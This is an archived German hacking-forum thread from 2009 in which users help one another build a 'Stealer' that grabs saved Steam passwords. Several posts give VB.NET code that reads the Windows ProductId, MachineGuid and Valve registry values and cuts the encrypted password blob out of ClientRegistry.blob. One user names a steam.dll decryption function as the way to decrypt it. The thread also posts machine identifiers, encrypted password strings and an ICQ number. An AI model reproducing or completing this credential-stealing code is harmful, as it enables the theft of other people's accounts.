PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Steampasswort immernoch auslesbar?



Metropoler
31.07.2009, 21:44
Hallo zusammen,
ich wollte Fragen ob es noch immer möglich ist das Steam Passwort mithilfe der hier vorliegenden Sourcecodes herauszubekommen.

Mein Problem ist folgendes: Ich hab das Tool von Aluigi schon ausprobiert und es kann wunderbar mein Passwort entschlüsseln und anzeigen, aber nur wenn ich die steampwd.exe nutze. Sollte ich das ganze mal mit meinen Stealer probieren und dann das Tool von Alugi mit meinem herausbekommen Steamhash und meinern Registry einträgen versuchen zu benutzen kommt immer dieser Fehler:

Error: the hmac checksum differs, the key is wrongIm Spoiler mal mein Code:
-------------------------------------------------
WindowsProductID = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductId", String.Empty)
MachineGuid = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography", "MachineGuid", String.Empty)
ValveIO = Registry.GetValue("HKEY_CURRENT_USER\Software\Valve\Half-Life\Settings", "io", String.Empty)


Dim gethash = New StreamReader(SteamDirectory & "\clientregistry.blob").ReadToEnd
Dim start As Integer = gethash.ToString.IndexOf("Phrase", 1)

Dim suchanfang As Integer = start + 42
Dim suchende As Integer = suchanfang + 92
Dim completeHash As String = CStr(Nothing)

For i = suchanfang To suchende Step 1
completeHash = completeHash + gethash.ElementAt(i)
Next i

SteamKeyKey = completeHash
-------------------------------------------------

Es ist völlig egal ob ich nun suchanfang auf "start + 42" oder "start + 46" setzte: Ich bekomme IMMER denselben Steamhash!

Das Programm habe ich auch schonb ereits bei 2 Freunden ausprobiert und bei diesen wurde sogar der Steamhash an den letzten Stellen als Hyroglyphen angezeigt; also unnutzbar.

Ich bitte um Hilfe. Immer wieder findet man in Gooogle nur: "SuFu" oder "Mebnsch, benutzt doch mal Google" und keine Antwort wie man nun diesen Hash richtig ausliest. Ich danke breits ThePapst für seine Hilfe durch seinen freigegebenen Sourcecode (Mein Code ist nur leicht abgewandelt von jenem): Hier klicken um zu seinem Fred zu gelangen (http://free-hack.com/showthread.php?t=27723&highlight=steam).

Ich habe so langsam zweifel, ob man das Passwort von Steam überhaupt noch auslesen kann...

magerquark
31.07.2009, 22:01
Mir ist es vor einiger Zeit gelungen (ca. 4 Wochen) gelungen, allerdings hatte ich es nicht geschaft den richtigen Entschlüsselungsalgorithmuss zu finden.
Muss eben schaun ob das Projekt noch da ist.

Variable X
31.07.2009, 22:26
Habe heute unter der sektion delphi sowas geuppt

also ich benötige 'start+40' und nciht 42 oder 46 und ebenfalls 92 Zeichen

Du musst ihrgendwo noch einen fehler drin haben... Wie gesagt hab meinen gestern geschrieben und er funzt

magerquark
31.07.2009, 22:32
Naja ist denke ich anders je nachdem wie man die Datei einliest.
Ich benötigte "start + 17", da ich die ungültigen Zeichen gelöscht habe.

Dim SteamPath As RegistryKey
SteamPath = Registry.CurrentUser.OpenSubKey("Software\Valve\Steam")
Dim SPath As String = SteamPath.GetValue("SteamPath")
SteamPath.Close()
Dim blob As String = SPath & "/ClientRegistry.blob"

Dim Reader As StreamReader = New StreamReader(blob, True)
Dim all As String = Reader.ReadToEnd.Replace(vbNullChar, Nothing)
Reader.Close()

Dim start As Integer = all.IndexOf("Phrase") + 17
Dim pass1 As String = Mid(all, start, 92)

Dim ProductID As RegistryKey
Dim PID As String
ProductID = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion")
PID = ProductID.GetValue("ProductID")
ProductID.Close()

Dim MachineGuid As RegistryKey
MachineGuid = Registry.LocalMachine.OpenSubKey("Software\Microsoft\Cryptography")
Dim MGuid As String = MachineGuid.GetValue("MachineGuid")
MachineGuid.Close()

Dim IoKey As RegistryKey
IoKey = Registry.CurrentUser.OpenSubKey("Software\Valve\Half-Life\Settings")
Dim IO As String = IoKey.GetValue("io")
IoKey.Close()

Dim AESKEY As String = PID & MGuid & IO

Wie gesagt die Entschlüsselung ist mir schleierhaft, aber wie ich eben gesehen habe geht es unserm Papst nicht anders.

Variable X
31.07.2009, 23:01
Jo die entschlüsselung kapier ich auch nciht so ganz ^^
Das ist aber das was mich doch ihrgendwie interessiert >.<


Ach und Metropoler könntest du vielleicht mal einen fehlerhafen hash hier posten und hinschreiben wie er aussehen müsste, sprich den richtigen hash den er eigendlich ausgeben sollte?

magerquark
01.08.2009, 12:27
hab hier was interressantes gefunden zu entschlüsselung:
http://aluigi.freeforums.org/translate-steampwd-to-delphi-t238.html

inmate
01.08.2009, 12:31
Jo die entschlüsselung kapier ich auch nciht so ganz ^^
Das ist aber das was mich doch ihrgendwie interessiert >.<

Du musst das Pw mit einem .dll Aufruf entschlüsseln.Anders geht es meines Wissens nicht.

magerquark
01.08.2009, 13:15
Du bist vielleicht witzig...
Und die .dll ist einfach irgendwal mal vom Himmel gefallen?
Klar muss es anders gehen.
Eventuell in manchen Sprachen einfacher als in anderen aber trotzdem machbar.
Wär mein c++ ein wenig besser wär das schon lange übersetzt.

inmate
01.08.2009, 13:41
Du bist vielleicht witzig...
Und die .dll ist einfach irgendwal mal vom Himmel gefallen?
Klar muss es anders gehen.steam.dll : cdecl funktion :SteamDecryptDataForThisMachine -.-
Ich habe nen Steam Stealer geschrieben , ich weis wie man das PW decryptet , viel Spass beim anders decrypten.Wenn dus ohne steam oder ne andere .dll schaffst renne ich mit meinem Kopp so lange gegen die Wand das ich ins Krankenhaus muss.

wacked
01.08.2009, 13:42
einfach lesen:http://aluigi.freeforums.org/translate-steampwd-to-delphi-t238.html . 4 ter Post.

inmate
01.08.2009, 14:06
Man braucht trotzdem 3 Werte aus der Registry.Das Passwort einfach so zu decrypten ist nicht möglich ;)

Ausserdem ist die Steam.dll Methode bei weitem nicht so umständlich.

hackerking
01.08.2009, 14:09
Wieso um Himmelswillen sollte man es so umständlich machen, wenn man in .NET schon die Möglichkeit hat, alles viel viel einfacher zu machen?

Metropoler
01.08.2009, 14:12
Für Variabel X:
Hier meine Daten von meinem von meinem Stealer von mir:

Steam
WindowsProductID: 55375-OEM-0044751-60909
MachineGuid: d181b362-2a20-41da-a4f6-6b05fe878119
ValveIO: 1227283363
Steamkey als Hash: B9C98AF8EC8F89D23F990B0D464D193076E63C1B7EEADDEF2D 5B4B1240082361190BE1BB5E01D342E9DAC8AF36770
Also der Decryption Key ist folgender:
55375-OEM-0044751-60909d181b362-2a20-41da-a4f6-6b05fe8781191227283363

Dies ist auch DEFINITIV der richtige Decryption Key, da dieser auch in Luigis Anwenundg steampwd.exe in der Konsole bei mir angezeigt wird.

Es muss also auch defintiv an dem Steamhash liegen. Ich finde den Fehler nicht.

Ich will ja auch nicht die Unterhaltung hier unterbrechen, aber bitte Leute bleibt beim Thema. Der Algorythmus ist definitiv was anders, als das was ich suche. Ich habe ein Problem mit dem Code. Also bitte keine Links zu Aluigis Seite geben. Diese sollte jetzt doch wirklich bereits bekannt sein.


€dit: Ich hab start+17, start+40 auch ausprobiert: Fehlanzeige. Auch falsch :/

Variable X
01.08.2009, 14:31
K gut

Jetzt öffne mal die Clientregistry selber mit nem editor und such nach "Phrase" (Strg+F ist suchen)
Dann kopier alles von phrase bis ClockSkewTolerance (ist 1-2 zeilenw eiter untendran oder so) und poste den code nochmal bitte... Weil das ist dann der hash der eigendlich rauskommen müsste

magerquark
01.08.2009, 15:11
€dit: Ich hab start+17, start+40 auch ausprobiert: Fehlanzeige. Auch falsch :/

Hast du es mal mit dem gesamten Code von mir probiert?
nicht nur start+40 auf start+17 verändert?
Es kommt auch darauf an wie man die clientregistry.blob einließt, usw.

inmate
01.08.2009, 15:11
der Hash ist höchstens so lang :32423424kj3kl2j4l2k34jlk324k32j42kl34l342lk3j4jk2 l4lj3
und nicht 2 Zeilen noch runnter ^^
Nach dem Wort Phrase fängt er an , man erkennt ihn auch da er zwischen leerzeichen steht.

magerquark
01.08.2009, 15:13
Man braucht trotzdem 3 Werte aus der Registry.Das Passwort einfach so zu decrypten ist nicht möglich ;)

Hab ich irgendwo was anderes behauptet?!
Schau nochmal auf die Erste Seite, die 3. Werte aus der Registry (das Auslesen) sind(ist) in meinem Code enthalten.

Metropoler
01.08.2009, 15:46
EDIT mein passwort hab ich geändert, da ich jetzt sehe, dass ich es auslesen kann, wenn ich den string direkt aus der clientregistry nehme (also mein code ist falsch). Deswegen gibt es auch für euch von meinem Stealer einen neuen Steamhash:
63352D61BFF97D5D355C6237E96D0C4BC9CEB715363EB5DDF0 72A3BCD84055A961B89C2665340061FB9782A95A067

Lol das kann man nicht kopieren, weil da sin komische zeichen, ich glauibe dich interessiert eh nur die nummer :) Hier aus der Clientregistry.blob:
63352D61BFF97D5D355C6237E96D0C4BC9CEB715363EB5DDF0 72A3BCD84055A961B89C2665340061FB9782A95A067567D496 25D6A7DD2047792DEE23AC

Danke schonmal für deine Hilfe Variable X (http://free-hack.com/member.php?u=61456)

Also es scheint so, als ob einfach mein Programm den String nicht komplett ausliest. Woran liegt denn der Fehler? Hier nochmal mein Code im Spoiler:
Dim gethash = New StreamReader(SteamDirectory & "\clientregistry.blob").ReadToEnd
Dim start As Integer = gethash.ToString.IndexOf("Phrase", 1)

Dim suchanfang As Integer = start + 40
Dim suchende As Integer = suchanfang + 92
Dim completeHash As String = CStr(Nothing)

For i = suchanfang To suchende Step 1
completeHash = completeHash + gethash.ElementAt(i)
Next i

SteamKeyKey = completeHash
"SteamKeyKey" ist die Variable, die ich im Endeffekt ausgeben lasse. Also scheint irgendwie meine Variable "completeHash" noch nicht so completet zu sein wie ich denke^^.

@ magerquark (http://free-hack.com/member.php?u=51260)
Dein Code funktioniert auch nicht, bzw er gibt genau dasselbe aus, wie meiner ;-P Aber trozdem Danke :)
Achso, ich denke du lernst bestimmt auch noch wie ich gerade, deswegen will ich dir helfen deinen code einfacher zu gestalten:

Dim WindowsProductID as String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion", "ProductId", String.Empty)
Dim MachineGuid as String = Registry.GetValue("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography", "MachineGuid", String.Empty)
Dim ValveIO as String= Registry.GetValue("HKEY_CURRENT_USER\Software\Valve\Half-Life\Settings", "io", String.Empty)

Das reicht vollkommen um die registry auszulesen :-D. Achso, oben muss noch das hier rein: Import microsoft.win32
mit dem namespace kannst du auf die registry so zugreifen wie ich :-]

################################################## ################################
################################NEUER BEITRAG#######################################
################################################## ################################

Neuer Beitrag, da das Thema etwas älter ist und diese Infomation wichtig ist.

Also ich habe mit der Hilfe von Variable X nun das Problem gefunden: Mein Steam Password war zu lang.

Sollte das Passwort über 13 Stellen hinausgehen, dann wird ein längerer Code nach "Phrase" erzeugt. Also ist damit auch das Wort Hash nicht zutreffend für diese Kombination nach "Phrase", da ein Hash seine länge nicht verändern kann.

1. Frage:
Wie kann ich aber nun den Code nach "Phrase" mit variabler Länge auslesen lassen?

2. Frage:
Wenn es mehrere Benutzer gibt die Ihr Passwort jeweils abgespeichert haben, wurde mir gesagt, dass man weiter nach anderen "Phrase" in der ClientRegestry.blob suchen müsse. Das Problem ist bei mir, dass trozt zweitem User mit gespeichertem Passwort ich keine weiteren "Phrase" in der ClientRegistry.blob finde.
Stimmt es nun, dass immer nach "Phrase" auch Passwörter von anderen Usern kommen in der ClientRegistry.blob?


Ich bitte um Hilfe via ICQ 466288666